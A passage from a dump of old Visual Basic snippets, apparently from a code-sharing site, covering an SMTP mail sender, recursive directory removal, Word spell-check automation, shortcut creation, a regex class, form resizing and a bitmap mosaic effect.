\",\"; Pnt.Y\n \n NewX = Pnt.X\n NewY = Pnt.Y\n \n Me.Print \"OldX coords\", OldX\n Me.Print \"OldY coords\", OldY\n \n Me.Print \"NewX coords\", NewX\n Me.Print \"NewY coords\", NewY\n \n If OldX - NewX = 0 Then\n Me.Print \"No Movement Detected\"\n TimeExpired = TimeExpired + Timer1.Interval\n Me.Print \"Total Time Expired\", TimeExpired\n Else\n Me.Print \"Mouse is Moving\"\n TimeExpired = 0\n End If\n \n OldX = NewX\n OldY = NewY\n \n ExpiredMinutes = (TimeExpired / 1000) / 60\n \n If ExpiredMinutes >= MINUTES Then\n TimeExpired = 0\n Me.Print \"Times Up!!!\"\n \n End If\nEnd Sub\n"},{"WorldId":1,"id":841,"LineNumber":1,"line":"Dim Response As String, Reply As Integer, DateNow As String\nDim first As String, Second As String, Third As String\nDim Fourth As String, Fifth As String, Sixth As String\nDim Seventh As String, Eighth As String\nDim Start As Single, Tmr As Single\nSub SendEmail(MailServerName As String, FromName As String, FromEmailAddress As String, ToName As String, ToEmailAddress As String, EmailSubject As String, EmailBodyOfMessage As String)\n \n Winsock1.LocalPort = 0 ' Must set local port to 0 (Zero) or you can only send 1 e-mail per program start\n \nIf Winsock1.State = sckClosed Then ' Check to see if socet is closed\n DateNow = Format(Date, \"Ddd\") & \", \" & Format(Date, \"dd Mmm YYYY\") & \" \" & Format(Time, \"hh:mm:ss\") & \"\" & \" -0600\"\n first = \"mail from:\" + Chr(32) + FromEmailAddress + vbCrLf ' Get who's sending E-Mail address\n Second = \"rcpt to:\" + Chr(32) + ToEmailAddress + vbCrLf ' Get who mail is going to\n Third = \"Date:\" + Chr(32) + DateNow + vbCrLf ' Date when being sent\n Fourth = \"From:\" + Chr(32) + FromName + vbCrLf ' Who's Sending\n Fifth = \"To:\" + Chr(32) + ToNametxt + vbCrLf ' Who it going to\n Sixth = \"Subject:\" + Chr(32) + EmailSubject + vbCrLf ' Subject of E-Mail\n Seventh = EmailBodyOfMessage + vbCrLf ' E-mail message body\n Ninth = \"X-Mailer: EBT Reporter v 2.x\" + vbCrLf ' What program sent the e-mail, customize this\n Eighth = Fourth + Third + Ninth + Fifth + Sixth ' Combine for proper SMTP sending\n Winsock1.Protocol = sckTCPProtocol ' Set protocol for sending\n Winsock1.RemoteHost = MailServerName ' Set the server address\n Winsock1.RemotePort = 25 ' Set the SMTP Port\n Winsock1.Connect ' Start connection\n \n WaitFor (\"220\")\n \n StatusTxt.Caption = \"Connecting....\"\n StatusTxt.Refresh\n \n Winsock1.SendData (\"HELO yourdomain.com\" + vbCrLf)\n WaitFor (\"250\")\n StatusTxt.Caption = \"Connected\"\n StatusTxt.Refresh\n Winsock1.SendData (first)\n StatusTxt.Caption = \"Sending Message\"\n StatusTxt.Refresh\n WaitFor (\"250\")\n Winsock1.SendData (Second)\n WaitFor (\"250\")\n Winsock1.SendData (\"data\" + vbCrLf)\n \n WaitFor (\"354\")\n Winsock1.SendData (Eighth + vbCrLf)\n Winsock1.SendData (Seventh + vbCrLf)\n Winsock1.SendData (\".\" + vbCrLf)\n WaitFor (\"250\")\n Winsock1.SendData (\"quit\" + vbCrLf)\n \n StatusTxt.Caption = \"Disconnecting\"\n StatusTxt.Refresh\n WaitFor (\"221\")\n Winsock1.Close\nElse\n MsgBox (Str(Winsock1.State))\nEnd If\n \nEnd Sub\nSub WaitFor(ResponseCode As String)\n Start = Timer ' Time event so won't get stuck in loop\n While Len(Response) = 0\n Tmr = Start - Timer\n DoEvents ' Let System keep checking for incoming response **IMPORTANT**\n If Tmr > 50 Then ' Time in seconds to wait\n MsgBox \"SMTP service error, timed out while waiting for response\", 64, MsgTitle\n Exit Sub\n End If\n Wend\n While Left(Response, 3) <> ResponseCode\n DoEvents\n If Tmr > 50 Then\n MsgBox \"SMTP service error, impromper response code. Code should have been: \" + ResponseCode + \" Code recieved: \" + Response, 64, MsgTitle\n Exit Sub\n End If\n Wend\nResponse = \"\" ' Sent response code to blank **IMPORTANT**\nEnd Sub\nPrivate Sub Command1_Click()\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtEmailBodyOfMessage.Text\n 'MsgBox (\"Mail Sent\")\n StatusTxt.Caption = \"Mail Sent\"\n StatusTxt.Refresh\n Beep\n \n Close\nEnd Sub\nPrivate Sub Command2_Click()\n \n End\n \nEnd Sub\nPrivate Sub Form_Load()\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\n Winsock1.GetData Response ' Check for incoming response *IMPORTANT*\nEnd Sub\n"},{"WorldId":1,"id":842,"LineNumber":1,"line":"'###########################################\n'# Removes an Entire Directory Structure #\n'# ------------------------------------- #\n'# Created By : Robert A. Charest Jr. #\n'# E-mail : charest@friendlybeaver.com #\n'###########################################\nPublic Sub RmTree(ByVal vDir As Variant)\n \n Dim vFile As Variant\n \n ' Check if \"\\\" was placed at end\n ' If So, Remove it\n If Right(vDir, 1) = \"\\\" Then\n vDir = Left(vDir, Len(vDir) - 1)\n End If\n \n ' Check if Directory is Valid\n ' If Not, Exit Sub\n vFile = Dir(vDir, vbDirectory)\n If vFile = \"\" Then\n Exit Sub\n End If\n \n ' Search For First File\n vFile = Dir(vDir & \"\\\", vbDirectory)\n \n ' Loop Until All Files and Directories\n ' Have been Deleted\n Do Until vFile = \"\"\n \n If vFile = \".\" Or vFile = \"..\" Then\n vFile = Dir\n \n ElseIf (GetAttr(vDir & \"\\\" & vFile) And _\n vbDirectory) = vbDirectory Then\n RmTree vDir & \"\\\" & vFile\n vFile = Dir(vDir & \"\\\", vbDirectory)\n \n Else\n Kill vDir & \"\\\" & vFile\n vFile = Dir\n \n End If\n \n Loop\n \n ' Remove Top Most Directory\n RmDir vDir\n \nEnd Sub"},{"WorldId":1,"id":843,"LineNumber":1,"line":"' Description: This function accepts a string containing text to be\n' spell checked, checks the text for spelling using MS Word automation,\n' and then returns the processed text as a string. The familiar\n' MS Word spelling dialog will allow the user to perform actions such\n' as selecting from suggested spellings, ignore, adding the word to a\n' customized dictionary, etc.\n' Syntax: MsSpellCheck( String ) : String\n' Author: Eric Russell\n' E-Mail: erussell@cris.com\n' WEB Site: http://cris.com/~erussell/VisualBasic\n' Created: 1998-13-14\n' Revised: 1998-04-03\n'Compatibility: VB 5.0, VB 4.0(32bit)\n' Assumptions: The user must have MS Word95 or higher installed on\n'their PC.\n' References: Visual Basic For Applications, Visual Basic runtime\n'objects and procedures, Visual Basic objects and procedures.\n'\nFunction MsSpellCheck(strText As String) As String\nDim oWord As Object\nDim strSelection As String\nSet oWord = CreateObject(\"Word.Basic\")\noWord.AppMinimize\nMsSpellCheck = strText\noWord.FileNewDefault\noWord.EditSelectAll\noWord.EditCut\noWord.Insert strText\noWord.StartOfDocument\nOn Error Resume Next\noWord.ToolsSpelling\nOn Error GoTo 0\noWord.EditSelectAll\nstrSelection = oWord.Selection$\nIf Mid(strSelection, Len(strSelection), 1) = Chr(13) Then\n strSelection = Mid(strSelection, 1, Len(strSelection) - 1)\nEnd If\nIf Len(strSelection) > 1 Then\n MsSpellCheck = strSelection\nEnd If\noWord.FileCloseAll 2\noWord.AppClose\nSet oWord = Nothing\nEnd Function\n"},{"WorldId":1,"id":860,"LineNumber":1,"line":"\n' Ensure a random seed even if the program is started at exactly the same time each day.\nRandomize Int(CDbl((Now))) + Timer"},{"WorldId":1,"id":869,"LineNumber":1,"line":"'***********************************************************'\n'************* CREATE PROGRAM GROUP FUNCTIONS **************'\n'***********************************************************'\n' PRIMARY FUNCTION CALL:\n'\nPublic Sub CreateShortcut(ByRef frm As Form, _\n ByVal strGroupName As String, _\n ByVal strLinkName As String, _\n ByVal strLinkPath As String, _\n ByVal strLinkArguments As String)\n'************************************************************************************\n' PROCEDURE: CreateShortcut\n' First, the procedure creates the Program Group if necessary,\n' Then it calls CreateProgManItem under Windows NT or\n' CreateFolderLink under Windows 95 to validate and create\n' your link shortcuts.\n'\n' PARAMETERS:\n' frm - A form to hook onto.\n'\n' strGroupName - The name of the Group where this shortcut\n' will be placed. By default, this group is\n' always placed in the 'Start Menu/Programs' folder.\n' You can pass '..\\..\\Desktop' to put this on\n' the Desktop, or '..' to put this on the 'Start Menu'.\n'\n' strLinkName - Text caption for the Shortcut link.\n'\n' strLinkPath - Full path to the target of the Shortcut link.\n' Ex: 'c:\\Program Files\\My Application\\MyApp.exe'\n'\n' strLinkArguments - Command-line arguments for the Shortcut link.\n' Ex: '-f -c \"c:\\Program Files\\My Application\\MyApp.dat\" -q'\n'\n'************************************************************************************\n 'CREATE THE PROGRAM GROUP IF NECCESSARY, THEN THE SHORTCUT'\n If fCreateProgGroup(frm, strGroupName) Then\n If TreatAsWin95() Then\n 'CREATE WINDOWS 95 SHORTCUT'\n CreateShellLink strLinkPath, strGroupName, strLinkArguments, strLinkName\n Else\n ' DDE will not work properly if you try to send NT the long filename. If it is\n ' in quotes, then the parameters get ignored. If there are no parameters, the\n ' long filename can be used and the following line could be skipped.\n strLinkPath = GetShortPathName(strUnQuoteString(strLinkPath))\n 'CREATE WINDOWS NT SHORTCUT'\n CreateProgManItem frm, strGroupName, strLinkPath & \" \" & strLinkArguments, strLinkName\n End If\n End If\nEnd Sub\nPrivate Sub CreateShellLink(ByVal strLinkPath As String, ByVal strGroupName As String, ByVal strLinkArguments As String, ByVal strLinkName As String)\n 'ReplaceDoubleQuotes strLinkName\n strLinkName = strUnQuoteString(strLinkName)\n strLinkPath = strUnQuoteString(strLinkPath)\n Dim fSuccess As Boolean\n fSuccess = OSfCreateShellLink(strGroupName & \"\", strLinkName, strLinkPath, strLinkArguments & \"\")\n If Not fSuccess Then\n MsgBox \"Create Shortcut Failed!\", vbExclamation, \"Ouch!\"\n End If\nEnd Sub\nPrivate Sub CreateProgManItem(frm As Form, ByVal strGroupName As String, ByVal strCmdLine As String, ByVal strIconTitle As String)\n PerformDDE frm, strGroupName, strCmdLine, strIconTitle, kDDE_AddItem\nEnd Sub\nPrivate Sub PerformDDE(frm As Form, ByVal strGroup As String, ByVal strCmd As String, ByVal strTitle As String, ByVal intDDE As Integer)\n Const strCOMMA$ = \",\"\n Const strRESTORE$ = \", 1)]\"\n Const strACTIVATE$ = \", 5)]\"\n Const strENDCMD$ = \")]\"\n Const strSHOWGRP$ = \"[ShowGroup(\"\n Const strADDGRP$ = \"[CreateGroup(\"\n Const strREPLITEM$ = \"[ReplaceItem(\"\n Const strADDITEM$ = \"[AddItem(\"\n Dim intIdx As Integer 'loop variable\n Screen.MousePointer = vbHourglass\n \n Dim intRetry As Integer\n For intRetry = 1 To 20\n On Error Resume Next\n frm.lblDDE.LinkTopic = \"PROGMAN|PROGMAN\"\n If Err = 0 Then\n Exit For\n End If\n DoEvents\n Next intRetry\n \n frm.lblDDE.LinkMode = 2\n For intIdx = 1 To 10\n DoEvents\n Next\n frm.lblDDE.LinkTimeout = 100\n On Error Resume Next\n If Err = 0 Then\n Select Case intDDE\n Case kDDE_AddItem\n ' The item will be created in the group titled strGroup\n '\n ' Force the group strGroup to be the active group. Additem only\n ' puts icons in the active group.\n #If 0 Then\n frm.lblDDE.LinkExecute strSHOWGRP & strGroup & strACTIVATE\n #Else\n frm.lblDDE.LinkExecute strADDGRP & strGroup & strENDCMD\n #End If\n frm.lblDDE.LinkExecute strREPLITEM & strTitle & strENDCMD\n Err = 0\n frm.lblDDE.LinkExecute strADDITEM & strCmd & strCOMMA & strTitle & String$(3, strCOMMA) & strENDCMD\n Case kDDE_AddGroup\n frm.lblDDE.LinkExecute strADDGRP & strGroup & strENDCMD\n frm.lblDDE.LinkExecute strSHOWGRP & strGroup & strRESTORE\n 'End Case\n End Select\n End If\n '\n 'Disconnect DDE Link\n frm.lblDDE.LinkMode = 0\n frm.lblDDE.LinkTopic = \"\"\n Screen.MousePointer = vbDefault\n Err = 0\nEnd Sub\n'\n'\n'***********************************************************'\n'************* CREATE PROGRAM GROUP FUNCTIONS **************'\n'***********************************************************'\n'\nPrivate Function fCreateProgGroup(frm As Form, sNewGroupName As String) As Boolean\n 'DONT VALIDATE OR CREATE THE 'DESKTOP' GROUP,\n ' OR THE 'START MENU GROUP', THEY SHOULD EXIST ALREADY.\n If UCase(Trim(sNewGroupName)) = kDesktopGroup Or sNewGroupName = kStartMenuGroup Then\n fCreateProgGroup = True\n Exit Function\n Else\n 'VALIDATE AND CREATE PROGRAM GROUP'\n If TreatAsWin95() Then\n 'WINDOWS 95 - VALIDATE'\n If Not fValid95Filename(sNewGroupName) Then\n MsgBox \"Error: Could not validate the Program Group name!\", vbQuestion, \"Error\"\n GoTo CGError\n End If\n Else\n 'WINDOWS NT - VALIDATE'\n If Not fValidNTGroupName(sNewGroupName) Then\n MsgBox \"Error: Could not validate the Program Group name!\", vbQuestion, \"Error\"\n GoTo CGError\n End If\n End If\n \n 'CREATE THE WINDOWS 95 OR NT PROGRAM GROUP'\n If Not fCreateOSProgramGroup(frm, sNewGroupName) Then\n GoTo CGError\n End If\n \n fCreateProgGroup = True\n End If\nExit Function\n \nCGError:\n fCreateProgGroup = False\nEnd Function\nPrivate Function fCreateShellGroup(ByVal strFolderName As String) As Boolean\n ReplaceDoubleQuotes strFolderName\n If strFolderName = \"\" Then\n Exit Function\n End If\n Dim fSuccess As Boolean\n fSuccess = OSfCreateShellGroup(strFolderName)\n If fSuccess Then\n Else\n MsgBox \"Create Start Menu Group Failed!\", vbExclamation, \"Ouch!\"\n End If\n fCreateShellGroup = fSuccess\nEnd Function\nPrivate Function fValid95Filename(strFilename As String) As Boolean\n' This routine verifies that strFileName is a valid file name.\n' It checks that its length is less than the max allowed\n' and that it doesn't contain any invalid characters..\n Dim iInvalidChar As Integer\n Dim iFilename As Integer\n \n If Not ValidateFilenameLength(strFilename) Then\n ' Name is too long.\n fValid95Filename = False\n Exit Function\n End If\n ' Search through the list of invalid filename characters and make\n ' sure none of them are in the string.\n For iInvalidChar = 1 To Len(kInvalid95GroupNameChars)\n If InStr(strFilename, Mid$(kInvalid95GroupNameChars, iInvalidChar, 1)) <> 0 Then\n fValid95Filename = False\n Exit Function\n End If\n Next iInvalidChar\n \n fValid95Filename = True\nEnd Function\nPublic Function fValidNTGroupName(strGroupName) As Boolean\n' This routine verifies that strGroupName is a valid group name.\n' It checks that its length is less than the max allowed\n' and that it doesn't contain any invalid characters.\n If Len(strGroupName) > kMaxGroupNameLength Then\n fValidNTGroupName = False\n Exit Function\n End If\n ' Search through the list of invalid filename characters and make\n ' sure none of them are in the string.\n Dim iInvalidChar As Integer\n Dim iFilename As Integer\n \n For iInvalidChar = 1 To Len(kInvalidNTGroupNameChars)\n If InStr(strGroupName, Mid$(kInvalidNTGroupNameChars, iInvalidChar, 1)) <> 0 Then\n fValidNTGroupName = False\n Exit Function\n End If\n Next iInvalidChar\n \n fValidNTGroupName = True\nEnd Function\nPrivate Function fCreateOSProgramGroup(frm As Form, ByVal strFolderName As String) As Boolean\n If TreatAsWin95() Then\n 'CREATE WINDOWS 95 PROGRAM GROUP'\n fCreateOSProgramGroup = fCreateShellGroup(strFolderName)\n Else\n 'CREATE WINDOWS NT PROGRAM GROUP'\n CreateProgManGroup frm, strFolderName\n fCreateOSProgramGroup = True\n End If\nEnd Function\nPrivate Sub CreateProgManGroup(frm As Form, ByVal strGroupName As String)\n PerformDDE frm, strGroupName, kEmptyString, kEmptyString, kDDE_AddGroup\nEnd Sub\n'\n'\n'***********************************************************'\n'********************* OTHER FUNCTIONS *********************'\n'***********************************************************'\nPrivate Function TreatAsWin95() As Boolean\n If IsWindows95() Then\n TreatAsWin95 = True\n ElseIf fNTWithShell() Then\n TreatAsWin95 = True\n Else\n TreatAsWin95 = False\n End If\nEnd Function\nPrivate Function IsWindows95() As Boolean\n Const dwMask95 = &H2&\n If GetWinPlatform() And dwMask95 Then\n IsWindows95 = True\n Else\n IsWindows95 = False\n End If\nEnd Function\nPrivate Function strUnQuoteString(ByVal strQuotedString As String)\n' This routine tests to see if strQuotedString is wrapped in quotation\n' marks, and, if so, remove them.\n strQuotedString = Trim(strQuotedString)\n If Mid$(strQuotedString, 1, 1) = kQuote And Right$(strQuotedString, 1) = kQuote Then\n ' It's quoted. Get rid of the quotes.\n strQuotedString = Mid$(strQuotedString, 2, Len(strQuotedString) - 2)\n End If\n strUnQuoteString = strQuotedString\nEnd Function\nPrivate Function StripTerminator(ByVal strString As String) As String\n Dim intZeroPos As Integer\n intZeroPos = InStr(strString, Chr$(0))\n If intZeroPos > 0 Then\n StripTerminator = Left$(strString, intZeroPos - 1)\n Else\n StripTerminator = strString\n End If\nEnd Function\nPrivate Sub ReplaceDoubleQuotes(str As String)\n Dim i As Integer\n For i = 1 To Len(str)\n If Mid$(str, i, 1) = \"\"\"\" Then\n Mid$(str, i, 1) = \"'\"\n End If\n Next i\nEnd Sub\n \nPrivate Function GetShortPathName(ByVal strLongPath As String) As String\n Const cchBuffer = 300\n Dim strShortPath As String\n Dim lResult As Long\n On Error GoTo 0\n strShortPath = String(cchBuffer, Chr$(0))\n lResult = OSGetShortPathName(strLongPath, strShortPath, cchBuffer)\n If lResult = 0 Then\n Error 53 ' File not found\n Else\n GetShortPathName = StripTerminator(strShortPath)\n End If\nEnd Function\nPrivate Function ValidateFilenameLength(strFilename As String) As Boolean\n ValidateFilenameLength = (Len(strFilename) < kMaxPathLength)\nEnd Function"},{"WorldId":1,"id":870,"LineNumber":1,"line":"Function IsNumber (ByVal KeyAscii As Integer) As Integer\nIf InStr(1, \"1234567890\", Chr$(KeyAscii), 0) > 0 Or KeyAscii = 8 Then\n IsNumber = True\nElse\n IsNumber = False\nEnd If\nEnd Function\n"},{"WorldId":1,"id":875,"LineNumber":1,"line":"VERSION 1.0 CLASS\nBEGIN\n MultiUse = -1 'True\nEND\nAttribute VB_Name = \"RegularExpression\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = True\nAttribute VB_PredeclaredId = False\nAttribute VB_Exposed = False\nOption Explicit\n'PRIVATE\n'? = edOptional; + = edMulti; * = edOptional or edMulti\nPrivate Enum RegExpStateTypes\n edOptional = 65536\n edMulti = 131072\n edModifierMask = edOptional Or edMulti\n \n edCharacter = 0\n edBracketed = 262144 'for example, [a-z]\n edAny = 524288\nEnd Enum\nPrivate Type StateStack\n State As Long\n Posi As Long\n MinPosi As Long\nEnd Type\nPrivate mStack() As StateStack\nPrivate mCompiled() As Long\nPrivate mNStates As Long\nPrivate mPattern As String\nPrivate mAnchorBeginning As Boolean\nPrivate mAnchorEnd As Boolean\nPrivate mMinLength As Long\n\nPrivate Sub AddState(ByVal Flags As Long, ByVal CharOrPosi As Long)\nIf mNStates = UBound(mCompiled) Then\n ReDim Preserve mCompiled(1 To mNStates + 10) As Long\nEnd If\nmNStates = mNStates + 1\nmCompiled(mNStates) = CharOrPosi Or Flags\nEnd Sub\nPublic Sub Init(RegExp As String)\nDim StackSize As Long, Posi As Long, EndPosi As Long\n'Initialize member variables\nmPattern = RegExp\nmNStates = 0\nmMinLength = 0\nReDim mCompiled(1 To 10) As Long\nPosi = 1\nEndPosi = Len(RegExp)\nIf Left(mPattern, 1) = \"^\" Then\n Posi = Posi + 1\n mAnchorBeginning = True\nEnd If\nIf Right(mPattern, 1) = \"$\" And Right(mPattern, 2) <> \"\\$\" Then\n EndPosi = EndPosi - 1\n mAnchorEnd = True\nEnd If\nDo Until Posi > EndPosi\n Select Case Mid$(mPattern, Posi, 1)\n Case \".\"\n AddState edAny, 0\n Posi = Posi + 1\n Case \"\\\"\n AddState edCharacter, Asc(Mid$(mPattern, Posi + 1, 1))\n Posi = Posi + 2\n Case \"[\"\n AddState edBracketed, Posi\n Posi = RangeParse(Posi)\n If Posi = -1 Then Err.Raise 5\n Case Else\n AddState edCharacter, Asc(Mid$(mPattern, Posi, 1))\n Posi = Posi + 1\n End Select\n \n 'check for modifiers (?, +, *)\n Select Case Mid$(mPattern, Posi, 1)\n Case \"?\"\n mCompiled(mNStates) = mCompiled(mNStates) Or edOptional\n StackSize = StackSize + 1\n Posi = Posi + 1\n Case \"+\"\n mCompiled(mNStates) = mCompiled(mNStates) Or edMulti\n StackSize = StackSize + 1\n Posi = Posi + 1\n mMinLength = mMinLength + 1\n Case \"*\"\n mCompiled(mNStates) = mCompiled(mNStates) Or edMulti Or edOptional\n StackSize = StackSize + 1\n Posi = Posi + 1\n Case Else\n mMinLength = mMinLength + 1\n End Select\nLoop\n'Minimize wasted memory by dimensioning exact arrays\nReDim Preserve mCompiled(1 To mNStates) As Long\nReDim mStack(1 To StackSize) As StateStack\nEnd Sub\nPublic Function Match(ByRef FromX As Long, ByRef ToX As Long, Text As String) As Boolean\nDim Match As Boolean\nDim CurState As Long\nDim State As Long\nDim SP As Long\nDim LenText As Long\nIf mNStates = 0 Then Err.Raise 5\nLenText = Len(Text)\nFor FromX = FromX To IIf(mAnchorBeginning, 1, LenText - mMinLength)\n ToX = FromX\n State = 1\n SP = 0\n Do\n If State > mNStates Then\n If (Not mAnchorEnd) Or (ToX > LenText) Then\n 'ToX is pointing the first character PAST the matched string\n ToX = ToX - 1\n MatchRight = True\n Exit Function\n End If\n End If\n GoSub MatchState\n If Match Then\n If CurState And edModifierMask Then\n 'create a new item in the backtrack stack\n SP = SP + 1\n mStack(SP).MinPosi = IIf(CurState And edOptional, ToX, ToX + 1)\n If (CurState And (edAny Or edMulti)) = (edAny Or edMulti) Then\n 'When matching .* and .+, we don't need to check the whole string\n ToX = LenText + 1\n ElseIf CurState And edMulti Then\n '+ or *, try to get as far as possible\n Do\n ToX = ToX + 1\n GoSub MatchState\n Loop Until Not Match\n Else\n '?, you only have to look one character ahead\n ToX = ToX + 1\n End If\n State = State + 1\n mStack(SP).Posi = ToX\n mStack(SP).State = State\n Else\n 'no +, *, nor ?, just advance to the next state\n ToX = ToX + 1\n State = State + 1\n End If\n ElseIf CurState And edOptional Then\n 'not matched, but it was optional... no problem\n State = State + 1\n Else\n 'backtrack - find the next usable item in the stack\n For SP = SP To 1 Step -1\n If mStack(SP).Posi > mStack(SP).MinPosi Then Exit For\n Next SP\n If SP = 0 Then Exit Do\n mStack(SP).Posi = mStack(SP).Posi - 1\n ToX = mStack(SP).Posi\n State = mStack(SP).State\n End If\n Loop\nNext FromX\nExit Function\nMatchState:\n CurState = mCompiled(State)\n If ToX > LenText Then\n Match = False\n ElseIf CurState And edAny Then\n Match = True\n ElseIf CurState And edBracketed Then\n Match = RangeMatch(CurState And 65535, Mid$(Text, ToX, 1))\n Else\n Match = (CurState And 65535) = Asc(Mid$(Text, ToX, 1))\n End If\n Return\nEnd Function\nPrivate Function RangeMatch(Posi As Long, ch As String) As Boolean\nRangeMatch = ch Like Mid$(mPattern, Posi, InStr(Posi, mPattern, \"]\") - Posi + 1)\nEnd Function\n\n'Return the end of the range (e.g. [a-z]) starting at position Posi.\n'Return -1 if the regular expression is not well formed.\nPrivate Function RangeParse(Posi As Long) As Long\nDim EndPosi As Long\nEndPosi = InStr(Posi, mPattern, \"]\")\n'Try using operator Like and check if an error occurs\nOn Error Resume Next\nIf \"a\" Like Mid(mPattern, Posi, EndPosi - Posi + 1) Then:\nIf Err Then\n RangeParse = -1\n Err.Clear\nElse\n RangeParse = EndPosi + 1\nEnd If\nEnd Function\n"},{"WorldId":1,"id":880,"LineNumber":1,"line":"VERSION 1.0 CLASS\nBEGIN\n MultiUse = -1 'True\nEND\nAttribute VB_Name = \"Elastic\"\nAttribute VB_Creatable = True\nAttribute VB_Exposed = False\nOption Explicit\nDim iFormHeight As Integer, iFormWidth As Integer, iNumOfControls As Integer\nDim iTop() As Integer, iLeft() As Integer, iHeight() As Integer, iWidth() As Integer, iFontSize() As Integer, iRightMargin() As Integer\nDim bFirstTime As Boolean\nSub Init(FormName As Form, Optional WindState)\nDim I As Integer\nDim WinMax As Boolean\n WinMax = Not IsMissing(WindState)\n \n iFormHeight = FormName.Height\n iFormWidth = FormName.Width\n iNumOfControls = FormName.Controls.Count - 1\n bFirstTime = True\n ReDim iTop(iNumOfControls)\n ReDim iLeft(iNumOfControls)\n ReDim iHeight(iNumOfControls)\n ReDim iWidth(iNumOfControls)\n ReDim iFontSize(iNumOfControls)\n ReDim iRightMargin(iNumOfControls)\nOn Error Resume Next\n For I = 0 To iNumOfControls\n If TypeOf FormName.Controls(I) Is Line Then\n iTop(I) = FormName.Controls(I).Y1\n iLeft(I) = FormName.Controls(I).X1\n iHeight(I) = FormName.Controls(I).Y2\n iWidth(I) = FormName.Controls(I).X2\n Else\n iTop(I) = FormName.Controls(I).Top\n iLeft(I) = FormName.Controls(I).Left\n iHeight(I) = FormName.Controls(I).Height\n iWidth(I) = FormName.Controls(I).Width\n iFontSize(I) = FormName.FontSize\n iRightMargin(I) = FormName.Controls(I).RightMargin\n End If\n Next\n \n If WinMax Or FormName.WindowState = 2 Then ' maxim\n FormName.Height = Screen.Height\n FormName.Width = Screen.Width\n Else\n FormName.Height = FormName.Height * Screen.Height / 7290\n FormName.Width = FormName.Width * Screen.Width / 9690\n End If\n \n bFirstTime = True\n \nEnd Sub\nSub FormResize(FormName As Form)\nDim I As Integer, Inc As Integer, CaptionSize As Integer\nDim RatioX As Double, RatioY As Double\nDim SaveRedraw%\nOn Error Resume Next\n \n \n SaveRedraw% = FormName.AutoRedraw\n FormName.AutoRedraw = True\n \n If bFirstTime Then\n bFirstTime = False\n Exit Sub\n End If\n If FormName.Height < iFormHeight / 2 Then FormName.Height = iFormHeight / 2\n If FormName.Width < iFormWidth / 2 Then FormName.Width = iFormWidth / 2\n CaptionSize = 400\n RatioY = 1# * (iFormHeight - CaptionSize) / (FormName.Height - CaptionSize)\n RatioX = 1# * iFormWidth / FormName.Width\nOn Error Resume Next ' for comboboxes, timeres and other nonsizible controls\n For I = 0 To iNumOfControls\n If TypeOf FormName.Controls(I) Is Line Then\n FormName.Controls(I).Y1 = Int(iTop(I) / RatioY)\n FormName.Controls(I).X1 = Int(iLeft(I) / RatioX)\n FormName.Controls(I).Y2 = Int(iHeight(I) / RatioY)\n FormName.Controls(I).X2 = Int(iWidth(I) / RatioX)\n Else\n FormName.Controls(I).Top = Int(iTop(I) / RatioY)\n FormName.Controls(I).Left = Int(iLeft(I) / RatioX)\n FormName.Controls(I).Height = Int(iHeight(I) / RatioY)\n FormName.Controls(I).Width = Int(iWidth(I) / RatioX)\n FormName.Controls(I).FontSize = Int(iFontSize(I) / RatioX) + Int(iFontSize(I) / RatioX) Mod 2\n FormName.Controls(I).RightMargin = Int(iRightMargin(I) / RatioY)\n End If\n Next\n \n FormName.AutoRedraw = SaveRedraw%\nEnd Sub\n"},{"WorldId":1,"id":883,"LineNumber":1,"line":"Sub GenMosaic(pctMosaic As Variant, MosaicMode As Integer)\n'Mosaic Mode is 1 for Mosaic, 2 for DeMosaic\n'Declare all objects\n'======================================================================\n' This code is (C) StarFox / Dave Hng '98\n' \n' Posted on http://www.planet-source-code.com during May '98.\n'\n' If you distribute this code, make sure that the complete listing is intact, with these\n' comments! If you use it in a program, don't worry about this introduction.\n' \n' Email: StarFox@earthcorp.com or psychob@inf.net.au\n' UIN: 866854\n'\n' Please credit me if you use this code! As far as i know, this is the only nice(ish) VB\n' image manip sub that i've seen! This is one major code hack! :)\n'\n' Takes a picturebox, and runs a animated mosaic transition though it!\n'\n' Uses Safearrays, CopyMemory, Bitmap basics. Not for the faint hearted.\n'\n' pctMosaic is a picturebox object that you want to run the transition through\n' MosaicMode is an integer, indicating what steps of the mosaic you want to run though.\n' 1 is mosaic up, 2 is mosaic down, 3 is mosaic up, then down again. Experiment! \n'\n' Not very efficient, but the code runs at about 2x to 10x emulated speed when compiled to \n' native code! It runs really really fast compiled under the native code compiler!\n' It's capable of animating a small bitmap on a 486dx2/80, with the interval set to 1, and \n' no re-redraws.\n'\n' Only works on 256 colour, single plane bitmaps. I'll write one for truecolour images when\n' i figure out how the RGBQuad type works, (Can anyone help?) and i've finished high school.\n'\n' You can change the for.. next statements with the K and L variables to change the speed of\n' the function. K is the mosaic depth, L is the number of times to call the function (limits\n' speed, so you can see it better)\n'\n' Thanks to the guys that wrote the VBPJ article on direct access to memory. Without that info\n' or ideas, i wouldnt've been able to write the sub.\n'\n' This code is used in StarLaunch, my multi emulator launcher:\n' http://starlaunch.home.ml.org\n' As a transition for screen size previews for snes emulators.\n'\n' Note: It does crash some computers, for no known reason. \n' I think it's as video card -> video driver problem.\n' Don't break while this sub is running, unless you really have to. If you want to stop\n' execution, you must call the cleanup code associated with what the sub's doing.\n' (Copymemory the pointer to 0& again)\n'\n' Have fun!\n'\n' \"If you think it's not possible, make it!\"\n'\n' -StarFox\nStatic mosaicgoing As Boolean\n'Keep a static variable to check if the sub's running. If it is, EXIT! Otherwise, GPF!\nIf mosaicgoing = True Then Exit Sub\nmosaicgoing = True\n'Init variables\nDim pict() As Byte\nDim SA As SafeArray2D, bmp As BITMAP\nDim r As Integer, c As Integer, Value As Byte, i As Integer, colour As Integer, j As Integer, k As Integer, L As Integer\nDim pCenter As Integer, pC As Integer, pR As Integer\nDim rRangei As Integer, rRangej As Integer, ti As Integer, ti2 As Integer\nDim uC As Integer, uR As Integer\nDim PictureArray() As Byte\nDim mRange As Integer\nDim cLimit As Integer, rLimit As Integer\n'Copy to the array\n'======================================================================\nGetObjectAPI pctMosaic.Picture, Len(bmp), bmp\nIf bmp.bmPlanes <> 1 Or bmp.bmBitsPixel <> 8 Then\n MsgBox \"Non-256 colour bitmap detected. No mosaic effects\"\n Exit Sub\nEnd If\n'Init the SafeArray\nWith SA\n .cbElements = 1\n .cDims = 2\n .bounds(0).lLbound = 0\n .bounds(0).cElements = bmp.bmHeight\n 